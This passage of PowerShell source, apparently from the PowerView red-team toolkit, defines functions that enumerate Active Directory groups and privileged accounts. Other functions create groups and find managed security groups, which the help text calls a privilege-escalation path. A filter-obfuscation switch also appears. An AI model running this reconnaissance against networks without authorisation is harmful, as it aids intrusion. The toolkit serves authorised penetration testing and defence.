A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSID
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSID -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainSID -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
A string representing the specified domain SID.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
$DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
|
|
|
|
if ($DCSID) {
|
|
$DCSID.SubString(0, $DCSID.LastIndexOf('-'))
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGroup {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all groups or specific group objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties samaccountname,usnchanged,...". By default, all group objects for
|
|
the current domain are returned. To return the groups a specific user/group is
|
|
a part of, use -MemberIdentity X to execute token groups enumeration.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
|
|
specifying the group to query for. Wildcards accepted.
|
|
|
|
.PARAMETER MemberIdentity
|
|
|
|
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
|
|
specifying the user/group member to query for group membership.
|
|
|
|
.PARAMETER AdminCount
|
|
|
|
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
|
|
|
|
.PARAMETER GroupScope
|
|
|
|
Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.
|
|
Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.
|
|
|
|
.PARAMETER GroupProperty
|
|
|
|
Specifies a specific property to search for when performing the group search.
|
|
Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroup | select samaccountname
|
|
|
|
samaccountname
|
|
--------------
|
|
WinRMRemoteWMIUsers__
|
|
Administrators
|
|
Users
|
|
Guests
|
|
Print Operators
|
|
Backup Operators
|
|
...
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroup *admin* | select distinguishedname
|
|
|
|
distinguishedname
|
|
-----------------
|
|
CN=Administrators,CN=Builtin,DC=testlab,DC=local
|
|
CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
|
|
CN=Schema Admins,CN=Users,DC=testlab,DC=local
|
|
CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
|
|
CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
CN=DnsAdmins,CN=Users,DC=testlab,DC=local
|
|
CN=Server Admins,CN=Users,DC=testlab,DC=local
|
|
CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
|
|
|
|
samaccountname
|
|
--------------
|
|
Server Admins
|
|
|
|
.EXAMPLE
|
|
|
|
'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose
|
|
VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
|
|
VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))
|
|
|
|
usncreated : 13245
|
|
grouptype : -2147483646
|
|
samaccounttype : 268435456
|
|
samaccountname : Desktop Admins
|
|
whenchanged : 8/10/2016 12:30:30 AM
|
|
objectsid : S-1-5-21-890171859-3433809279-3366196753-1118
|
|
objectclass : {top, group}
|
|
cn : Desktop Admins
|
|
usnchanged : 13255
|
|
dscorepropagationdata : 1/1/1601 12:00:00 AM
|
|
name : Desktop Admins
|
|
distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
|
|
member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
|
|
whencreated : 8/10/2016 12:29:43 AM
|
|
instancetype : 4
|
|
objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71
|
|
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGroup -Credential $Cred
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Domain | Select-Object -Expand name
|
|
testlab.local
|
|
|
|
'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))
|
|
|
|
distinguishedname
|
|
-----------------
|
|
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.Group
|
|
|
|
Custom PSObject with translated group property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.Group')]
|
|
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('UserName')]
|
|
[String]
|
|
$MemberIdentity,
|
|
|
|
[Switch]
|
|
$AdminCount,
|
|
|
|
[ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
|
|
[Alias('Scope')]
|
|
[String]
|
|
$GroupScope,
|
|
|
|
[ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
|
|
[String]
|
|
$GroupProperty,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['MemberIdentity']) {
|
|
|
|
if ($SearcherArguments['Properties']) {
|
|
$OldProperties = $SearcherArguments['Properties']
|
|
}
|
|
|
|
$SearcherArguments['Identity'] = $MemberIdentity
|
|
$SearcherArguments['Raw'] = $True
|
|
|
|
Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
# convert the user/group to a directory entry
|
|
$ObjectDirectoryEntry = $_.GetDirectoryEntry()
|
|
|
|
# cause the cache to calculate the token groups for the user/group
|
|
$ObjectDirectoryEntry.RefreshCache('tokenGroups')
|
|
|
|
$ObjectDirectoryEntry.TokenGroups | ForEach-Object {
|
|
# convert the token group sid
|
|
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
|
|
|
|
# ignore the built in groups
|
|
if ($GroupSid -notmatch '^S-1-5-32-.*') {
|
|
$SearcherArguments['Identity'] = $GroupSid
|
|
$SearcherArguments['Raw'] = $False
|
|
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
|
|
$Group = Get-DomainObject @SearcherArguments
|
|
if ($Group) {
|
|
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
|
|
$Group
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^CN=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $GroupSearcher) {
|
|
Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('\')) {
|
|
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentityInstance) {
|
|
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
|
|
$GroupName = $IdentityInstance.Split('\')[1]
|
|
$IdentityFilter += "(samAccountName=$GroupName)"
|
|
$SearcherArguments['Domain'] = $GroupDomain
|
|
Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
|
|
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
}
|
|
else {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
|
|
}
|
|
}
|
|
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['AdminCount']) {
|
|
Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
|
|
$Filter += '(admincount=1)'
|
|
}
|
|
if ($PSBoundParameters['GroupScope']) {
|
|
$GroupScopeValue = $PSBoundParameters['GroupScope']
|
|
$Filter = Switch ($GroupScopeValue) {
|
|
'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' }
|
|
'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
|
|
'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' }
|
|
'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
|
|
'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' }
|
|
'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
|
|
}
|
|
Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
|
|
}
|
|
if ($PSBoundParameters['GroupProperty']) {
|
|
$GroupPropertyValue = $PSBoundParameters['GroupProperty']
|
|
$Filter = Switch ($GroupPropertyValue) {
|
|
'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
|
|
'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
|
|
'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' }
|
|
'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
|
|
}
|
|
Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
|
|
}
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$Filter = "(&(objectCategory=group)$Filter)"
|
|
Write-Verbose "[Get-DomainGroup] filter string: $($Filter)"
|
|
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Group = $_
|
|
}
|
|
else {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$Group = Convert-LDAPProperty -Properties $Prop
|
|
}
|
|
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
|
|
$Group
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function New-DomainGroup {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a new domain group (assuming appropriate permissions) and returns the group object.
|
|
|
|
TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-PrincipalContext
|
|
|
|
.DESCRIPTION
|
|
|
|
First binds to the specified domain context using Get-PrincipalContext.
|
|
The bound domain context is then used to create a new
|
|
DirectoryServices.AccountManagement.GroupPrincipal with the specified
|
|
group properties.
|
|
|
|
.PARAMETER SamAccountName
|
|
|
|
Specifies the Security Account Manager (SAM) account name of the group to create.
|
|
Maximum of 256 characters. Mandatory.
|
|
|
|
.PARAMETER Name
|
|
|
|
Specifies the name of the group to create. If not provided, defaults to SamAccountName.
|
|
|
|
.PARAMETER DisplayName
|
|
|
|
Specifies the display name of the group to create. If not provided, defaults to SamAccountName.
|
|
|
|
.PARAMETER Description
|
|
|
|
Specifies the description of the group to create.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use to search for user/group principals, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
|
|
|
|
Creates the 'TestGroup' group with the specified description.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
|
|
|
|
Creates the 'TestGroup' group with the specified description using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
DirectoryServices.AccountManagement.GroupPrincipal
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
|
|
Param(
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateLength(0, 256)]
|
|
[String]
|
|
$SamAccountName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Name,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$DisplayName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Description,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$ContextArguments = @{
|
|
'Identity' = $SamAccountName
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
|
|
$Context = Get-PrincipalContext @ContextArguments
|
|
|
|
if ($Context) {
|
|
$Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)
|
|
|
|
# set all the appropriate group parameters
|
|
$Group.SamAccountName = $Context.Identity
|
|
|
|
if ($PSBoundParameters['Name']) {
|
|
$Group.Name = $Name
|
|
}
|
|
else {
|
|
$Group.Name = $Context.Identity
|
|
}
|
|
if ($PSBoundParameters['DisplayName']) {
|
|
$Group.DisplayName = $DisplayName
|
|
}
|
|
else {
|
|
$Group.DisplayName = $Context.Identity
|
|
}
|
|
|
|
if ($PSBoundParameters['Description']) {
|
|
$Group.Description = $Description
|
|
}
|
|
|
|
Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
|
|
try {
|
|
$Null = $Group.Save()
|
|
Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
|
|
$Group
|
|
}
|
|
catch {
|
|
Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainManagedSecurityGroup {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns all security groups in the current (or target) domain that have a manager set.
|
|
|
|
Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl
|
|
|
|
.DESCRIPTION
|
|
|
|
Authority to manipulate the group membership of AD security groups and distribution groups
|
|
can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
|
|
used to delegate management authority to distribution groups, but Windows supports security groups
|
|
being managed in the same way.
|
|
|
|
This function searches for AD groups which have a group manager set, and determines whether that
|
|
user can manipulate group membership. This could be a useful method of horizontal privilege
|
|
escalation, especially if the manager can manipulate the membership of a privileged group.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
|
|
|
|
Store a list of all security groups with managers in group-managers.csv
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ManagedSecurityGroup
|
|
|
|
A custom PSObject describing the managed security group.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ManagedSecurityGroup')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
|
|
'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
|
|
}
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Domain']) {
|
|
$SearcherArguments['Domain'] = $Domain
|
|
$TargetDomain = $Domain
|
|
}
|
|
else {
|
|
$TargetDomain = $Env:USERDNSDOMAIN
|
|
}
|
|
|
|
# go through the list of security groups on the domain and identify those who have a manager
|
|
Get-DomainGroup @SearcherArguments | ForEach-Object {
|
|
$SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
|
|
$SearcherArguments['Identity'] = $_.managedBy
|
|
$Null = $SearcherArguments.Remove('LDAPFilter')
|
|
|
|
# $SearcherArguments
|
|
# retrieve the object that the managedBy DN refers to
|
|
$GroupManager = Get-DomainObject @SearcherArguments
|
|
# Write-Host "GroupManager: $GroupManager"
|
|
$ManagedGroup = New-Object PSObject
|
|
$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
|
|
